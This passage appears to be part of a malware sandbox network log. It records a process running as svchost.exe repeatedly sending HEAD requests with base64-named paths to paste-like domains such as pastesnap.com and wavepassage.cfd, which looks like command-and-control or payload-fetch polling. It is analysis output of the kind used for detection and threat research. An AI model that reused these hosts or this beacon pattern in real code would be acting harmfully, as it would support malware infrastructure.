cfL4;desc="?proto=TCP&rtt=1578&min_rtt=1578&rtt_var=789&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	50147	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:03.028840065 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:03.481189013 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:03 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:03 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EANa1jrdokpHJu%2Bd5ajGA1aJjctZL7ZU3L83Ulw2p5LBHRUyQV29ww3rbZjnOwBvpIGfvgH26JgHSWEEohYampXk8wNGIeP%2BrMYMEpS3ehRrw9uPtc%2FFeS0EEpTtBTdXseiR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3e279568ca1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1935&min_rtt=1935&rtt_var=967&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=166&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	50154	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:03.254801989 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:03.714948893 CET	862	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:03 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:03 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1i8gYJ9%2BvltQ9VJyn1lP8pvKJI6Tce2IzDx%2BOAmV65jk%2FJ4PQYobAzl5r8V0ujyzxJNJ%2FuLGeIfrJ5JhA9ZVy04p0bQytufnGrFuDcMVQOPsRhjY0zjjhXUuSO1cSYVF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3e3d82b5e86-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1700&min_rtt=1700&rtt_var=850&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	50159	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:03.721498966 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:04.195158958 CET	879	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:04 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:04 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LAjrcAVe4a2CXvhl8ZPl%2FNaD8jnL6Tq0NBWQBdazHg%2FWyW99%2FzKCfbAXlypi9SPW8X5P2TLcVrEuacHuK2xWSo1yc%2FLiLx%2F4%2Bju5dM9DtKTtm3GW1uMQEhA6F%2FRWBU6JEL3l"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3e6df494273-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2515&min_rtt=2515&rtt_var=1257&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.7	50165	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:03.970514059 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:04.430886984 CET	869	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:04 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:04 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YstU1iy6TSPkVAuwtbBhWwydddzFgUQpGX9pPGo3wcnYgN1kECTYGgKVLdhjEGUthEY5HEKVvfAho2Iy1VR3qPTPr6wQhV5ieCNkfD4ierGZP103KnolT50z%2F5EyOyNel9U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3e85a0eefa9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2024&min_rtt=2024&rtt_var=1012&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=161&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.7	50168	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:04.201380968 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:04.714772940 CET	877	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:04 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:04 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E%2FvSQhXZOKIyjwY3nxh%2Fpf%2FAhwGPv4dkA3bV5P345DdXiNwXngc9yuHGwLmrKWBwvDyhF%2BBLuucgeHK6lSxPLXKa0bha1lYLCAjaG4JYgg628eSo38gGSEh3of0tr9u4Cb9e"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3ea2d548ca1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1930&min_rtt=1930&rtt_var=965&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=166&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.7	50170	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:04.437614918 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:04.922410011 CET	858	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:04 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:04 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pwdmlYj7Onrjr8Fj29Whpod0DZQuYeZ9vKEJcCR0W9DkaPrMJjHsk7XZ9O6jh4gK8%2FcK7xynqyeO7VCzMnxHhkr3AOOZXb%2B9EfVJcVNAYXIeR0Fh6qXj7nAtnEW6Qibx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3eb6b0a7cac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1892&min_rtt=1892&rtt_var=946&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=200&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	50180	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:04.928903103 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:05.382282019 CET	881	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:05 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:05 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=seVzAypNY%2Fq8KOjCrKp0PN6Sbc0LSQHAFm%2Fzb3%2B%2B%2B3Uv%2BrNdF7U3CbGuz6%2BTgbl1JvSAyu%2FsUSNNhbuQKF4aC2q86wXQm5u0yp4OlW5UpfrzGlRixx00wLDEXnXFs19FOXsT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3ee4e9c18bc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1625&min_rtt=1625&rtt_var=812&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	50182	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:05.211678982 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:05.662674904 CET	866	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:05 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:05 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qBzmUnF8Gyitt79hYsrLP0tjU3sI5EJymtu35KEWYE9JjMDMRr8mUfFCZgyOtvnPzjvnHM89xLQCk4w9bdePFG7cy55o6FBtw3sCMWpleoRX5tOrLfxKHPhuebv0RNanbBc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3f01c3ac358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1644&min_rtt=1644&rtt_var=822&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=153&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.7	50184	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:05.388803005 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:05.838387012 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:05 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:05 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ByUtlneduo8tso9THmz%2Boo9w4GzH7V4yeWAHfmCCst7xjtNAWkVj%2B89qqpWnzpguz0ZMK3MluZMWk2v35UjwveqbVRGWyyrpKkaWWzwUywbMpQP5D9y7vo2qj7SW%2B5UbgrBm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3f12aad42e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1666&min_rtt=1666&rtt_var=833&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.7	50191	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:05.669898987 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:06.141776085 CET	862	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:06 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:06 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oW1IH5hwsTg%2B8GShIDHCVQGjhsy1LBApyRMMW7ilxTEBNYCQoLKnXI5RSJhqhJIodluSq3H9gCDEGqzguk%2FHI%2FbDNUypYz%2FoVMCbba5s49kcrH8YLVeKRBcNxdlOyaLK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3f3088b728c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1959&min_rtt=1959&rtt_var=979&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=164&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.7	50196	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:06.148360968 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:06.601361036 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:06 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:06 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gmbJ3zWBdp0%2ByQFnQnOwQ9DLqZjV7TpwE%2BIAcTAHdWA0E7dm8%2FmblEd1HOSZzYdH7K6L8G4qKamRfwkIm994Pm16EE8czjcIDkrAjDlY%2BJ2%2BwtseCjTSX1jTeFnwJIJNR6dT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3f5ee330fa3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1692&min_rtt=1692&rtt_var=846&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.7	50202	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:06.338957071 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:06.798424959 CET	870	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:06 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:06 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cGHcYaCPYsru1DBpPtlOe880HY831HYmCv7PaHp%2FTuzrUHrz0zuJZ0mFxTykljgrREjZzfnihCqAptaG9hrm1GCvJIpgxCdW3zZOhiz8Hw5dHVTpkZlw5%2BpTL9v6n2Zerh4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3f72e250fa7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1707&min_rtt=1707&rtt_var=853&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=218&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.7	50205	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:06.607777119 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:07.059945107 CET	883	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:07 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:07 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=21Z%2FGee%2FrfTPM3R2y4CDiAAG9xvlhXmuTg3VTq%2BRzGi3%2BNT%2BAbGPnXpU2wHg%2FERy378DSwZszkGG3oPfXaDPEy6ldqt8GEdYj1%2FKW67krwlBVazhMoodeneBeeqHKk8ek6qF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3f8ccb78ca1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1871&min_rtt=1871&rtt_var=935&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=166&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.7	50207	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:06.804634094 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:07.276124001 CET	858	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:07 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:07 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SPNF0Z7zctrVM28WeH6dEVdpi7DGaFBv30R3FkSWVlKiMVqTQEwK4g9nRfzzs62BvV873QqPECE4iyDOmq5VMMI%2FmXFmz5zL%2BLtg8TYpEsWZqUTT9FuI32s3dV3EBXmf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3fa1970c47f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1654&min_rtt=1654&rtt_var=827&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.7	50214	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:07.282783985 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:07.757966995 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:07 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:07 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XXbrNFOo%2FVFkt7QKoMA%2FFVAZKDNdjmzvc4OBSlQSSzW6BAfHjclKrtH0rkP9ZM%2F3KbddKLUgn6l1H6uOR4k7eDgqcJF%2FOdxRmUOHIGh3fRV8s58l9zISav3JoaatPuEt7n%2Fm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3fd1cc26a55-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1588&min_rtt=1588&rtt_var=794&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.7	50216	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:07.542223930 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:08.004745960 CET	876	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:07 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:07 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=27DrOlNY%2B6%2BKoMwGbUSevVX73H8yEL5x9JOT7qmkg%2BVB6W5K7CwEMYkRS1F1zYMG8oNd7xisS8VUNZJd2sN4%2BPfIm3MTN008zoWaKvd53eQUdevA%2FFd6PD43LQDhoydb4Cg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3fea859431f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1593&min_rtt=1593&rtt_var=796&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.7	50218	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:07.764039040 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:08.220923901 CET	871	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:08 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:08 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QEg7V12U15afnM8JJnNpZbKhrtOS5E919l8F7SGvYfqIEBUrW%2BCfxrFOV4W2PUx1opatmQfHFM3fbUMy5nZfmA4sx8Md1OAJNL4fusNcTlEjGSukSaOviIHybHnZolt1cTdO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc400193a8ca1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1896&min_rtt=1896&rtt_var=948&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=166&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.7	50220	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:08.010873079 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:08.464617014 CET	866	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:08 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:08 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lXJ%2Fk4X13PqONHKd3bXSlGSFrkrukmGxPC3WVsUvN0gaCx%2BHD6VOe%2BEbZt2cR78Cwc5TfyWoaJBCLou9c7Igc63zVBZi%2BAaJTt%2FoAsgT8GzYwukzg7do2up5x8ISu3%2F8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4019c2b43e6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1778&min_rtt=1778&rtt_var=889&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.7	50225	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:08.471474886 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:08.957418919 CET	874	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:08 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:08 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Oek%2Fad3pvi61F7xtBtqdcvfsgKOql15XEU1VrUOy9LbUoBDrVtaIrDZodQ1A%2BAbwidv0zh2LUWtY7XrVb6E6j%2F79krAEr6eIlP5bpZ9MOBE%2FRm7q40pV9VP816wSuwkq6sD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4049de04331-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2310&min_rtt=2310&rtt_var=1155&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.7	50227	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:08.712117910 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
